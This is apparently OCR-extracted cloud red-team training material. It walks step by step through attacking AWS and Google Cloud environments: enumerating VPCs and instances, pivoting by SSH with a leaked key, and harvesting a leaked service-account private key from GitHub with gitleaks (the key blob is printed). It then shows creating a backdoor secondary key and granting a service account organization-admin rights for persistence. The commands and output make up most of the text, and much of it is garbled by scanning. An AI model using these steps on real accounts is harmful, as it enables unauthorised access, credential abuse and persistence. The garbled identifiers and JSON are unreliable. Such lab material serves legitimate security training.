"Name=association.subnet-id,Values=subnet-0987ecf31f72617cc"

~

ec2 describe-route-tables "Name=association.subnet-id,Values=subnet-0987ecf31{72617cc"

"RouteTables": [
{
"Associations": [
{
"Main": true,
"RouteTableAssociationId": "rtbassoc-0143al1b713492f255",
"RouteTableId": "rtb-0d5b861215d4dbacf",
"AssociationState": {
"State": "associated"

}

"Main": false,
"RouteTableAssociationId": "rtbassoc-08a27c0858f7c0721",
"RouteTableId": "rtb-0d5b861215d4dbacf",
"SubnetId": "subnet-0987ecf31f72617cc",
"AssociationState": {
"State": "associated"
}
}

1,

"PropagatingVgws": [],

"RouteTableId": "rtb-0d5b861215d4dbact",




"PropagatingVgws": [],
"RouteTableId": "rtb-0d5b861215diddbacf",
"Routes": [
{
"DestinationCidrBlock": "10.10.10.0/24",
"GatewayId": "local",
"Origin": "CreateRouteTable",
"State": "active"

"DestinationCidrBlock": "192.168.0.0/16",
"Origin": "CreateRoute",

"State": "active",

"VpcPeeringConnectionId": "pcx—0f17351d8ad77137d"

"DestinationCidrBlock": "0.0.0.0/0",

"GatewayId": "igw—0d8a2782c31b25ded",
"Origin": "CreateRoute",
"State": "active"

L

IlKeyll : llNamell '
"Value": "RT—Public—-VPC"

1,
"VpcId": "vpc—09e9c5a3ae5U4a7368"
"OwnerId": "294170659659"




Step 6 : Get the information about routing table associated to the specified subnet [public subnet-private vpc] .

aws ec2 describe-route-tables --profile ro --region us-east-2 --filters

"Name=association.subnet-id,Values=subnet-070402cb26342bc7d"

~

ec2 describe-route-tables us—east-2 "Name=association.subnet-id, Values=subnet-070402cb26342bc7d"

"RouteTables": [
{
"Associations": [
{
"Main": true,
"RouteTableAssociationId": "rtbassoc-0e2611d5e5f797115",
"RouteTableId": "rtb-0033f04lddce3b201",
"AssociationState": {
"State": "associated"

}

"Main": false,
"RouteTableAssociationId": "rtbassoc-037e82ecd67927487",
"RouteTableId": "rtb-0033f04lddce3b201",
"SubnetId": "subnet-070402cb26342bc7d",
"AssociationState": {

"State": "associated"

}
}
1,
"PropagatingVgws": [],
"RouteTableId": "rtb-0033f04lddce3b201",




"PropagatingVgws": [],
"RouteTableId": "rtb-0033f04lddce3b201",
"Routes": [

]

{

"DestinationCidrBlock": "10.10.0.0/24",

"Origin": "CreateRoute",

"State": "active",

"VpcPeeringConnectionId": "pcx—-0+17351d8ad77137d"

"DestinationCidrBlock": "192.168.0.0/16",
"GatewayId": "local",

"Origin": "CreateRouteTable",

"State": "active"

[

||Keyll : llNamell .
"Value": "RT-PrivateVPC-PublicSubnet"

I
"VpcId": "vpc-0ff26aff3befld50b",
"OwnerId": "294170659659"




Step 7 : Get the information about routing table associated to the specified subnet [public subnet-private vpc] .

aws ec2 describe-route-tables --profile ro --region us-east-2 --filters

"Name=association.subnet-id,Values=subnet-070402cb26342bc7d"

~

ec2 describe-route-tables us—east-2 "Name=association.subnet-id,Values=subnet-0e736fbd8e66f3951"

"RouteTables": [
{
"Associations": [
{
"Main": false,
"RouteTableAssociationId": "rtbassoc-0U40d6cfd91e3bu8fd",
"RouteTableId": "rtb-0cda213128b712169",
"SubnetId": "subnet-0e736fbd8e66f3951",
"AssociationState": {
"State": "associated"

}

}
1,
"PropagatingVgws": [],
"RouteTableId": "rtb-0cda213128b712169",
"Routes": [
{
"DestinationCidrBlock": "192.168.0.0/16",
"GatewayId": "local",
"Origin": "CreateRouteTable",
"State": "active"

[

IlKeyll : IINamell'
"Value": "RT-PrivateSubnet-PrivateVPC"

1,
"VpcId": "vpc-0ff26aff3befld560b",
"OwnerId": "294170659659"




Step 8 : Get the information about vpc peering connection.

aws ec2 describe-vpc-peering-connections --profile ro --region us-east-2

~

ec2 describe-vpc-peering-connections

"VpcPeeringConnections": [
{
"AccepterVpcInfo": {
"CidrBlock": "192.168.0.0/16",
"CidrBlockSet": [
{

}

"CidrBlock": "192.168.0.0/16"

1,

"OwnerId": "294170659659",

"PeeringOptions": {
"AllowDnsResolutionFromRemoteVpc": false,
"AllowEgressFromLocalClassicLinkToRemoteVpc":
"AllowEgressFromLocalVpcToRemoteClassiclLink":

},

"VpcId": "vpc-0ff26aff3befld56b",

"Region": "us—-east-2"

"RequesterVpcInfo": {
"CidrBlock": "10.10.10.0/24",
"CidrBlockSet": [

{

}

"CidrBlock": "10.10.10.0/24"

1,

"OwnerId": "294170659659",

"PeeringOptions": {
"AllowDnsResolutionFromRemoteVpc": false,
"AllowEgressFromLocalClassicLinkToRemoteVpc":
"AllowEgressFromLocalVpcToRemoteClassiclLink":

},

"VpcId": "vpc—-09e9c5a3ae54a7368",

"Region": "us—east-2"




"OwnerId": "294170659659",

"PeeringOptions": {
"AllowDnsResolutionFromRemoteVpc": false,
"AllowEgressFromLocalClassicLinkToRemoteVpc":
"AllowEgressFromLocalVpcToRemoteClassicLink":

b,

"VpcId": "vpc-09e9c5a3ae5da7368",

"Region": "us-east-2"

b,
"Status": {
"Code": "active",
"Message": "Active"
b,
"Tags": [

{
|lkeyl| : I|Name l|’

"Value": "VPCl-2-Peering"

}

1,
"VpcPeeringConnectionId": "pcx-0f17351d8aud77137d"




Step 9 : Get the information about all the instances in a specific aws region.

aws ec2 describe-instances --profile ro --region us-east-2

~

ec2 describe—-instances

"Reservations": [
{
"Groups™: [,
"Instances": [
{
"AmiLaunchIndex": 0,
"ImageId": "ami-07U4cce78125f09d61",
"InstanceId": "i-06bbbe0868f6fele3",
"InstanceType": "t2.micro",
"KeyName": "CHMRTS-AWS—-SSH-Key",
"LaunchTime": "2021-10-14T20:33:03+00:00",
"Monitoring": {
"State": "disabled"
3,
"Placement": {
"AvailabilityZone": "us—-east—-2c",
"GroupName": "",
"Tenancy": "default"
iy
"PrivateDnsName": "ip—-192-168-1-31.us—east—-2.compute.internal",
"PrivateIpAddress": "192.168.1.31",
"ProductCodes": [],
"PublicDnsName": "",
"PublicIpAddress": "13.58.78.167",
iState:
"Code": 16,
"Name": "running"
3,
"StateTransitionReason": "",
"SubnetId": "subnet-070402cb26342bc7d",
"VpcId": "vpc-0ff26aff3befld56b",
"Architecture”: "x86_64",
"BlockDeviceMappings": [
{
"DeviceName": "/dev/xvda",
IIEbSH: {
"AttachTime": "2021-10-14T20:33:04+00




"Association": {
"IpOwnerId": "amazon",
"PublicDnsName": "",
"PublicIp": "13.58.78.167"
},
"Attachment": {
"AttachTime": "2021-10-14T20:33:03+00:00",
"AttachmentId": "eni-attach-048762dfdfu8e66ae",
"DeleteOnTermination": true,
"DeviceIndex": O,
"Status": "attached",
"NetworkCardIndex": ©
},
"Description": "Primary network interface",
"Groups": [
{
"GroupName": "launch-wizard-6",
"GroupId": "sg-0c2360ac6fu51a993"
}

I
"Ipv6Addresses": [],

"MacAddress": "0a:86:al1:03:01:4c",
"NetworkInterfaceId": "eni-0a7b62c509c8a62fe",
"OwnerId": "294170659659",
"PrivateIpAddress": "192.168.1.31",
"PrivateIpAddresses": [
{
"Association": {
"IpOwnerId": "amazon",
"PublicDnsName": ""
*PublicIp': "13.58.78.167"
3,
"Primary": true,
"PrivateIpAddress": "192.168.1.31"
}
1,
"SourceDestCheck": true,
"Status": "in-use",
"SubnetId": "subnet-070402cb26342bc7d",
"VpcId": "vpc-0ff26aff3befld50b",




"Groups": [],
"Instances": [
{
"AmiLaunchIndex": O,
"ImageId": "ami-074cce78125f09d61",
"InstanceId": "i-041c5f93eablb2eef",
"InstanceType": "t2.micro",
"KeyName": "CHMRTS—-AWS-SSH-Key",
"Launchlime": "Z2021-10—-14]120:30:14+00:00"
"Monitoring": {
"State": "disabled"

!

},
"Placement": {
"AvailabilityZone": "us-east-2c",
"GroupName": "",
"Tenancy": "default"
'y
"PrivateDnsName": "ip-10-10-10-15.us-east-2.compute.internal”,
"PrivateIpAddress": "10.10.10.15",

"ProductCodes": [],
"PublicDnsName": "ec2-18-116-165-204.us—-east-2.compute.amazonaws.
"PublicIpAddress": "18.116.165.204",
uState”: {
"Code": 16,
"Name": "running"

3,
"StateTransitionReason": "",
"SubnetId": "subnet-0987ecf31f72617cc",
"VpcId": "vpc-09e9cb5a3ae54a7368",
"Architecture": "x86_64",
"BlockDeviceMappings": [
1
"DeviceName": "/dev/xvda",
REDSY:
"AttachTime": "2021-10-14T20:30:15+00
"DeleteOnTermination": true,
"Status": "attached",
"VolumeId": "vol-03ccd@cdfd8laaldff"




"PublicDnsName": "ec2-18-116-165-204.us—east-2.compute.amazonaws.com",
"PublicIp": "18.116.165.204"
},
"Attachment": {
"AttachTime": "2021-10-14T20:30:14+00:00",
"AttachmentId": "eni-attach-0ed0cd®e3el669f9b",
"DeleteOnTermination": true,
"DeviceIndex": 0,
"Status": "attached",
"NetworkCardIndex": ©
},
"Description": "Primary network interface",
"Groups": [
{
"GroupName": "launch-wizard-5",
"GroupId": "sg-025eb5d285a533b08"
}
1,
"Ipv6Addresses": [],
"MacAddress": "0a:62:e9:53:d7:e0",
"NetworkInterfaceId": "eni-02au4{80679bf008a3",
"OwnerId": "294170659659",
"PrivateDnsName": "ip-10-10-10-15.us—-east-2.compute.internal”,
"PrivateIpAddress": "10.10.10.15",
"PrivateIpAddresses": [
{
"Association": {
"IpOwnerId": "amazon",
"PublicDnsName": "ec2-18-116-165-204.us—-east-2.compute.amazonaws.
"PublicIp": "18.116.165.204"
},
"Primary": true,
"PrivateDnsName": "ip-10-10-10-15.us-east-2.compute.internal",
"PrivateIpAddress": "10.10.10.15"
}

1,

"SourceDestCheck": true,

pStatusl:- in-usells

"SubnetId": "subnet-0987ecf31f72617cc",
"VpcId": "vpc-09e9c5a3ae54a7368",




"Instances": [

{

"AmiLaunchIndex": O,
"ImageId": "ami-07d4cce78125f09d61",
"InstanceId": "i-0caldd8bdfc0c980f7",
"InstanceType": "t2.micro",
"KeyName": "CHMRTS-AWS-SSH-Key",
"LaunchTime": "2021-10-14T20:37:15+00:00",
"Monitoring": {
"State": "disabled"
},
"Placement": {
"AvailabilityZone": "us-east-2c",
"GroupName": ""
"Tenancy": "default"
I
"PrivateDnsName": "ip-192-168-2-148.us—east-2.compute
"PrivateIpAddress": "192.168.2.148",
"ProductCodes": [],
"PublicDnsName": ""
"State": {
"Code": 16,
"Name": "running"

},
"StateTransitionReason": ;
"SubnetId": "subnet-0e736fbd8e66f3951",
"VpcId": "vpc-0ff26aff3befld56b",
"Architecture": "xgb_o4",
"BlockDeviceMappings": [

{

"DeviceName": "/dev/xvda",

"Ebs": {
"AttachTime": "2021-10-14T720:37:16+00
"DeleteOnTermination”: true,
"Status": "attached",
"VolumeId": "vol-0287bec388eceb52d"

.internal”,




"NetworkInterfaces": [

{

"Attachment": {
"AttachTime": "2021-10-14T20:37:15+00:00",
"AttachmentId": "eni-attach-08ec74fe316942a83",
"DeleteOnTermination": true,
"DeviceIndex": O,
"Status": "attached",
"NetworkCardIndex": ©
},
"Description": "Primary network interface",
"Groups": [
{
"GroupName": "launch-wizard-7",
"GroupId": "sg-02120c512ef415011"
}

15
"Ipv6Addresses": [],

"MacAddress": "Oa:67:U4f:c5:ca:eld",
"NetworkInterfaceId": "eni-05f0fc3Ue6eabblO7",
"OwnerId": "294170659659",
"PrivateIpAddress": "192.168.2.148",
"PrivateIpAddresses": [
{
"Primary": true,
"PrivateIpAddress": "192.168.2.148"
}
1
"SourceDestCheck": true,
"Status": "in-use",
"SubnetId": "subnet-0e736fbd8e66f3951",
"VpcId": "vpc-0ff26aff3befld56b",
"InterfaceType": "interface"




Step 10 : First authenticate to publicly accessible ec2 instance [public subnet -public vpc] with leaked ssh key or exploiting

vulnerability.
ssh -i CHMRTS-AWS-SSH-Key.pem ec2-user@18.116.165.204

[ec2-user@@ip-10-10-10-15 ~]$ 1p a
1: lo: <LOOPBACK,UP,LOWER UP> mtu 65536 gdisc noqueue state UNKNOWN group default gqlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid 1ft forever preferred lft forever
1net6 ::1/128 scope host

valid 1ft forever preferred 1ft forever
2: eth@: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 9001 qdisc pfifo fast state UP group default qlen 1000
link/ether 0a:62:€9:53:d7:e0 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.15/24 brd 10.10.10.255 scope global dynamic eth®
valid 1ft 3535sec preferred lft 3535sec
1net6 fe80::862:e91f:fe53:d7e0/64 scope link
valid_1ft forever preferred_lft forever




Step 11 : Now we can access another ec2 instance [public subnet - private vpc] from our first compromised instance .

ssh -i CHMRTS-AWS-SSH-Key.pem ec2-user@192.168.1.31

[ec2-user@ip-10-10-10-15 ~]% ssh -1 CHMRTS-AWS-SSH-Key.pem ec2-user@192.168.1.31

The authenticity of host '192.168.1.31 (192.168.1.31)" can't be established.

ECDSA key fingerprint is SHA256:0scD4rlLjldJuTEZ7Uv]ang2owglD135FPchrQA2RELA.

ECDSA key fingerprint is MD5:cd:bd:7e:76:16:9b:ca:85:4a:37:72:38:fc:5e:af:61.

Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '192.168.1.31" (ECDSA) to the list of known hosts.

Last login: Fri Oct 15 ©09:40:58 2021 from ec2-3-16-146-0.us-east-2.compute.amazonaws.com

Amazon Linux 2 AMI

https://aws.amazon.com/amazon-1linux-2/
[ec2-user@ip-192-168-1-31 ~]% ip a
1: lo: <LOOPBACK,UP,LOWER UP> mtu 65536 gdisc noqueue state UNKNOWN group default glen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid 1ft forever preferred 1lft forever
inet6 ::1/128 scope host
valid 1ft forever preferred 1lft forever
2: eth@: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 9001 gdisc pfifo fast state UP group default glen 1000
link/ether 0a:86:a81:03:01:4c brd ff:ff:ff:ff:ff:Ff
inet 192.168.1.31/24 brd 192.168.1.255 scope global dynamic eth@
valid 1t 2144sec preferred 1ft 2144sec
inet6 fe80::886:alff:feB3:14c/64 scope link
valid 1ft forever preferred 1lft forever




Step 12 : finally we can access private ec2 instance [private subnet - private subnet] from our second compromised instance [public subnet - private vpc].

ssh -i CHMRTS-AWS-SSH-Key.pem ec2-user@192.168.2.148

[ec2-user@ip-192-168-1-31 ~]% ssh -1 CHMRTS-AWS-SSH-Key.pem ec2-user@192.168.2.148
The authenticity of host '192.168.2.148 (192.168.2.148)" can't be established.
ECDSA key fingerprint is SHA256:Jwfeljc3/B5neEsbSGHCyd2sL1LIXzmRBvdO97f4NPU.

ECDSA key fingerprint is MD5:15:25:7b:10:f2:e8:¢cc:82:51:41:75:f9:68:b6:d4:59.

Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added "192.168.2.148"' (ECDSA) to the list of known hosts.

Amazon Linux 2 AMI

https://aws.amazon.com/amazon-l1linux-2/
[ec2-user@ip-192-168-2-148 ~]% ip a
1: lo: <LOOPBACK,UP,LOWER UP> mtu 65536 qdisc noqueue state UNKNOWN group default glen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid 1ft forever preferred 1lft forever
inet6 ::1/128 scope host
valid 1ft forever preferred 1lft forever
2: eth®: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 9001 qdisc pfifo fast state UP group default glen 1000
link/ether ©a:67:4f:c5:ca:ed brd ff:ff:ff:ff:ff:Ff
inet 192.168.2.148/24 brd 192.168.2.255 scope global dynamic eth®
valid 1ft 2984sec preferred 1ft 2984sec
inet6 fe80::867:4fff:fec5:caed/64 scope link
valid 1ft forever preferred l1lft forever




Module 2 : Attacking Google Cloud Environment

Exercises :

 Initial access by Leaked Service Account Key

» Persistence Access by Service Account Secondary Key

* Privilege escalation by Compromised Editor Default Permission
» Privilege Escalation & Credential extraction by Exploiting GKE

« Cross Project Lateral Movement
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EXERCISE : GCP -1

Initial access by Leaked Service Account Key
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Step 1 : Enumerating leaked credentials on github repositories.

gitleaks --repo-url=https://github.com/atomic-nuclear/production -v

[0000] cloning ... https://github.com/atomic-nuclear/production
Enumerating objects: 34, done.
Counting objects: 100% (34/34), done.
Compressing objects: 100% (33/33), done.
Total 34 (delta 6), reused @ (delta @), pack-reused 0
{
"line": " \"type\": \"service_account\",",
"lineNumber®: 2,
"offender”: "\"type\": \"service_account\"",
"offenderEntropy”": -1,
"commit": "ecde03a610d3096a03eb3fa8361a700b44549030",
"repo”: "production”,
"repoURL": "https://github.com/atomic-nuclear/production”,
"leakURL": "https://github.com/atomic-nuclear/production/blob/ecde®03a610d3096a03eb3fa8361a700b44549030/production-proj-325612-ff6e6d489933. json#L2",
"rule”: "Google (GCP) Service Account”,
"commitMessage”: "Add files via upload”,
"author™: "iyer-atomic”,
"email”: "65344441+iyer-atomic@users.noreply.github.com”,
"file": "production-proj-325612-ff6e6d489933.json",
"date": "2021-09-10T18:31:11+05:30",
"tags": "key, Google"
1

{

"line": " \"private_key\": \" BEGIN PRIVATE KEY \\nMIIEvgIBADANBgkqhkiG9w@BAQEFAASCBKgwggSkAgEAAOIBAQDMrGiiAyBf2ZKY\\nF7009RgZbHEpPMCDN57 fB7XqyV1/cO@i7NVAA/SsYOLK6YBdT2Ciz6joP
WHnXFBsvXs\\nwOggHnwLOpHYD8mtn5vUlsoisFSIEhRMBQf3T4IDvmQvcLRAWtBroox7wwEJHBDOG\\nNT3518gq90ZVi+nmTwVsZ/dWf+0xJzffjg9i18bNgkifOUx9PtFFNIML jaQCvud2Z\\n7UwXQv/g8TMEnw/wHBMfkBfzQaE6hBE/NN9/JIDT841
JGzVWrw2ihZmYOUWNjS/d1\\nmOOmeOY1r9QyTak5GAfJEIDwWBOFewkNOFQ7q4RIS6Q9QBEL ixWIuoWKulkCOGP8u\\nkDKCxbvZAgMBAAECEggEAAMSAaTKINOYKcUNdrCpXwHsHBgGYnYLpL1Wab5kBRQSWr\\nxI8aZ1FTIMutZ7GhvkWwQZLIsAigrilL
aTSL8jGguot5woldgkOvNeGAWOzFNAJTmMO\\nNOJCNIkT4M/mWOHEVMVLeaMwmEQyY j7TTWAtbQ2Y jQXXsQXrT6zc4gklL84Q4es8dgg\\nMTcoDuehQg@I9GghSMw6IP6TCM7 IHIfuI87Eem6tzxKG3Z9VGD3DSOrR+NIFAq/ f\\nOOEYU85zR4Ha jMO7+)]
Km+F1sMizTa+kANmGF9ztkChSAs2pY1lxNgCXGe2CBo/ros\\n+nQ7gmC1KmSRIVkgkDWDxJzwk8xybi56PT27pBAIcQKBgQD1VESqWVLEOhCjt1FZ\\notxcBZxCjjdYgx15EyE61LacPVUgCIjUcHYadhI3xTthgYza9MIQItuQqpuIwWGM\\niGMLNz
tb30FaZ8yvVvpEo/Wai+0oFWi50xvb5n@HSJpHH8urmf1I3S0X/UrLCQxS\\ndrU+93BEMF5iw4A3kCz4RhXpjQKBgQDVOQd3sN2KDHfDSBVto3Fx+RY j7VKXwpI6\\n9/z jPxKGubCUrLMOCtJ42mfYajlXJy+2N/IMLKCpeelLKPZ/6vacQL+86TQpl6
MrrF\\nZotC5XdHGnrI9 ++ fpsEwPNcwY2PBqYn4M6+Lr //SwbKPGGv/ex0gATIXK+rNSmwM\\n52I28rv6fQKBgQDmF6I2DCV3C10TPtIQYRt+ms4+2z5VpLpQIS21A/e3jCI9bKQOKB\\ngLBFhKr4R5ibkLvQRYAwswLuSaGLAq/Je+dpmBTfqIMOGI91iy
slaPj/5ru2oK6u8\\n27xpQj9t84Bp+061lpnGwqVDQ9p3y0QoVpgto4w)fAHIQcQh8fmZtLorT/QKBgCrt\\nIk28c715KRtNhdLel1tYFOand+4TGDT6F8omLhwtMkvo7koi/MQRXpBRzvjuHjh13\\nRfaD/YxhF4FzygNmTx35KIZqQC+0oIDgBwysim
1LbR+Dx2XIg1j/p38DEIa85fKdV\\ncIAE3NnhXxtj5Uo038wuElieqlckCHLQOUpeRYrrZAoGBAKUNC2ECFIS0J63CUTZf\\n013wlgkA3SA2TIdPFuURKheMS+b7kys2k9Lt1X59Ng26DqpmaBKfI1I6NTsAmmM7GE9\\nb1hHngROoyLQKowXNN3wLdE/p
axalaXnWmRGQptsAJScrrr91LNOaImPAIEWX1b/\\nxHERz68ZskV86DeLNt+N9g9+\\n END PRIVATE KEY NN

"lineNumber": 5,

"offender": " BEGIN PRIVATE KEY *

"offenderEntropy”: -1,

"commit": "ecde@3a610d3096a03eb3fa8361a700b44549030",

"repo”: "production”,

"repoURL": "https://github.com/atomic-nuclear/production”,

"leakURL": "https://github.com/atomic-nuclear/production/blob/ecde®3a610d3096a03eb3fa8361a700b44549030/production-proj-325612-ff6e6d489933. json#L5",

"rule”: "Asymmetric Private Key",

"commitMessage”: "Add files via upload”,

"author": "iyer-atomic”,

"email”™: "65344441+iyer-atomic@users.noreply.github.com”,

"file": "production-proj-325612-ff6e6d489933.json",

"date": "2021-09-10T18:31:11+05:30",

"tags": "key, AsymmetricPrivateKey"

[0000] scan time: 138 milliseconds 277 microseconds
[0000] commits scanned: 3
WARN[@000] leaks found: 2




Step 2 : Content of downloaded leaked credentials using gitleake utility.

File Actions Edit View Help

GNU nano 5.4 leaked-key.json *




Step 3 : Configure gcloud cli with leaked service account credential.

gcloud auth activate-service-account --key-file leaked-key.json

® ~

auth activate-service-account leaked-key.json
Activated service account credentials for: [prod-dev-opsaproduction-proj-325612.iam.gserviceaccount.com]

Step 4 : List of active account in gcloud cli.

gcloud auth list

® "~
auth list
Credentialed Accounts
ACTIVE ACCOUNT

* prod-dev-opsaproduction-proj-325612.iam.gserviceaccount.com

To set the active account, run:
$ gcloud config set account “ACCOUNT®

91



Step 5 : List of projects in a gcp organization.

gcloud projects list

e ~
projects list

PROJECT_ID NAME PROJECT_NUMBER
production-proj-325612 Production-Proj 547664270161

Step 6 : IAM Policy for a gcp project.

gcloud projects get-iam-policy production-proj-325612

® ~

projects get-iam-policy production-proj-325612
bindings:
- members:

- serviceAccount:prod-dev-opsaproduction-proj-325612.1iam.gserviceaccount.

role: roles/editor
members:
- user:manish@atomic-nuclear.site
role: roles/owner
etag: BwXLobrqjYY=
version: 1
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Step 5 : Configure gcloud cli with project option.
gcloud config project production-proj-325612

® ~

config set project production-proj-325612
Updated property [core/project].

Step 5 : List of service accounts in gcp project.

gcloud iam service-accounts list

e =

iam service-accounts list

DISPLAY NAME EMAIL DISABLED
prod-dev-ops prod-dev-ops@production-proj-325612.iam.gserviceaccount.com False
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Step 5 : Authenticated Enumeration using Automated Script.

Jgcp_enum.sh

2 /home/kali/CHMRTS/GCP

[*] Created folder 'out-gcp-enum-2021-09-10-20-28-46"' for output
[*] Analyzing gcloud configuration
[+] SUCCESS
[+] SUCCESS
[+] SUCCESS
[*] Scraping metadata server
[!] FAIL
[*] Exporting detailed compute instance info
[!] FAIL
[*] Exporting detailed firewall info
[!] FAIL
[*] Exporting detailed subnets info
[!] FAIL
[*] Exporting detailed service account info
[+] SUCCESS
[*] Exporting detailed service account key info
[+] SUCCESS
[*] Exporting detailed project IAM info
[!'] FAIL
[*] Exporting detailed organization IAM info
Listed @ items.
[*] Exporting detailed available project info
[+] SUCCESS
[*] Exporting detailed instance template info
[*] Enumerating storage buckets
[+] SUCCESS
[+] SUCCESS
[*] Enumerating crypto keys
[!] FAIL
(gcloud.kms.keyrings.list) PERMISSION_DENIED: Cloud Key Management Service (KMS) API has not been used in project 547664270161 before or it is disabled. Enable it by visiting https:/
/console.developers.google.com/apis/api/cloudkms.googleapis.com/overview?project=547664270161 then retry. If you enabled this API recently, wait a few minutes for the action to propagate to
our systems and retry.
- '@type': type.googleapis.com/google.rpc.Help
links:
- description: Google developers console API activation
url: https://console.developers.google.com/apis/api/cloudkms.googleapis.com/overview?project=547664270161
- '@type': type.googleapis.com/google.rpc.ErrorInfo
domain: googleapis.com
metadata:
consumer: projects/547664270161
service: cloudkms.googleapis.com
reason: SERVICE_DISABLED
[+] All done, good luck!




EXERCISE : GCP - 2

Persistence Access by Service Account Secondary Key



2. Assign Service Account “SA”

a

GCP
Organization A
Administrator

@

to Organization Level Owner Permission /\

a

GCP organization OA Victim

(%

Attacker

A

Gcloud CLI

A

Project PA

o

Service
Account SA

Json key A

3. Generate Secondary Key
of Service Account “SA”

Json key B

5. Access the Victim GCP organization’s resources with backdoored key of service account “SA”

4. Download & Configure JSON key “B” to Attacker System

96




Step 1 : Authenticate to google cloud using compromised credential with gcloud cli.

gcloud auth login

E¥ Windows PowerShell x -+ v O X

PS C:\Users\Hacker> gcloud auth login
Your browser has been opened to visit:

https://accounts.google.com/o/ocauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redire
ct_uri=http%3A%2F%2FlLocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2
F%2Fwww.googleapis.com%2Fauth%2Fcloud—-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+https%3A%2F%2Fw

ww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=NgrclwSTMJJOYNpRtDxv3
iYRmdEMne&access_type=offline&code_challenge=2HUdmy_AKOcVmc4OOWNg_ViUwc910k2oeMr8UesfwwjMg&code_challenge_method=5S256

You are now logged in as [manish@atomic—nuclear.site].
Your current project is [production—-proj—-325612]. You can change this setting by running:
$ gcloud config set project PROJECT_ID

Step 2 : List of active accounts in gcloud cli.

gcloud auth login

PS C:\Users\Hacker\Desktop> gcloud auth list
Credentialed Accounts
ACTIVE ACCOUNT

manish@atomic—nuclear.site

To set the active account, run:
$ gcloud config set account "ACCOUNT"




Step 3 : Get the information about list of organization.

gcloud organizations list

PS C:\Users\Hacker> gcloud organizations list
DISPLAY_NAME ID DIRECTORY_CUSTOMER_ID

atomic—-nuclear.site 769569318697 COOypwt2u
PS C:\Users\Hacker> |

Step 4 : List of service account in a gcp project.

gcloud iam service-accounts list

PS C:\Users\Hacker> gcloud iam service-accounts list

DISPLAY NAME EMAIL DISABLED
prod-dev-ops prod-dev-ops@production—-proj—-325612.iam.gserviceaccount.com True
Prod-Srv prod-srv@production—-proj—-325612.iam.gserviceaccount.com False

PS C:\Users\Hacker> |

Step 5 : List of keys associated with the specified service account.

gcloud iam service-accounts keys list --iam-account prod-srv@production-proj-325612.iam.gserviceaccount.com

PS C:\Users\Hacker> gcloud iam service-accounts keys list prod-srv@production-proj-325612.iam.gserviceacco

unt.com
KEY_ID CREATED_AT EXPIRES_AT

d6e02f00cf5e789367U6fce5U46577589961d6389 2021-10-01T20:52:09Z 9999-12-31T723:59:59Z
07e16bObcf507d37156414Uddfa86+9690c8c9d6 2021-160-01T20:51:44Z 2023-10-01T721:58:17Z
PS C:\Users\Hacker> |



mailto:prod-srv@production-proj-325612.iam.gserviceaccount.com

Step 6 : Create a new key for specified service account.

gcloud iam service-accounts keys create SVC-Key --iam-account prod-srv@production-proj-325612.iam.gserviceaccount.com

PS C:\Users\Hacker\Desktop> gcloud iam service-accounts keys create SVC-Key ‘ prod-srv@production-proj-32561
2.iam.gserviceaccount.com
created key [balalddc8c0©c982U6862el6bc5af1d5631ef97¢c80] of type [json] as [SVC-Key] for [prod-srv@production-proj-325612.

iam.gserviceaccount.com]
PS C:\Users\Hacker\Desktop> |

Step 7 : Again, List of keys associated with the specified service account.

gcloud iam service-accounts keys list --iam-account prod-srv@production-proj-325612.iam.gserviceaccount.com

PS C:\Users\Hacker\Desktop> gcloud iam service-accounts keys list 't prod-srv@production-proj-325612.iam.gser
viceaccount.com
KEY_ID CREATED_AT EXPIRES_AT

d6e02f00c+5e789367U6+fce5U46577589961d6389 2021-10-01T20:52:09Z 9999-12-31T723:59:59Z
baldaddc8c0c982U6862el16bc5af1d5631ef97c80 2021-10-01T21:36:26Z 9999-12-31T23:59:59Z
07e16bObcf507d371564144ddfa869690c8c9d6 2021-10-01T20:51:44Z 2023-10-01T21:58:17Z
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Step 8 : Create a policy document where specified service account have organization admin role.

[=] Persistance-Admin-policy.yaml E3

bindings:
- members:
- domain:atomic-nuclear.site
-  role: roles/billing.creator
- members:
- serviceAccount:prod-dev-ops@production-proj-325612.iam.gserviceaccount.com
L role: roles/editor
- members:

g - user:manish@atomic-nuclear.site
10 - serviceAccount:prod-srv@production-proj-325612.iam.gserviceaccount.com
11 L role: roles/resourcemanager.organizationAdmin
12 H- members:
13 - domain:atomic-nuclear.site
14 L role: roles/resourcemanager.projectCreatoﬁ

s W N =

0 ~J O
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Step 9 : Set the policy to organization level.

gcloud organizations set-iam-policy 769569318697 Persistance-Admin-policy.yaml

£¥  Windows PowerShell

PS C:\Users\Hacker\Desktop> gcloud organizations set-iam—policy 769569318697 Persistance—-Admin-policy.yaml
The specified policy does not contain an "etag" field identifying a

specific version to replace. Changing a policy without an "etag" can

overwrite concurrent policy changes.

Replace existing policy (Y/n)? Y

Updated IAM policy for organization [769569318697].
bindings:
- members:
- domain:atomic—-nuclear.site
role: roles/billing.creator
members:
- serviceAccount:prod-dev-ops@production-proj—-325612.iam.gserviceaccount.com
role: roles/editor
members:
- serviceAccount:prod-srv@production-proj-325612.iam.gserviceaccount.com
- user:manish@atomic—nuclear.site
role: roles/resourcemanager.organizationAdmin
members:
— domain:atomic—-nuclear.site
role: roles/resourcemanager.projectCreator
etag: BwXNUTZkKXAU=
version: 1




Step 10 : Get the iam policy associated with gcp organization level.

gcloud organizations get-iam-policy 769569318697

PS C:\Users\Hacker> gcloud organizations get-iam-policy 769569318697
bindings:
— members:
— domain:atomic-nuclear.site
role: roles/billing.creator
members:
— serviceAccount:prod-dev-ops@production-proj—-325612.iam.gserviceaccount.com
role: roles/editor
members:
— user:manish@atomic—nuclear.site
role: roles/resourcemanager.organizationAdmin
members:
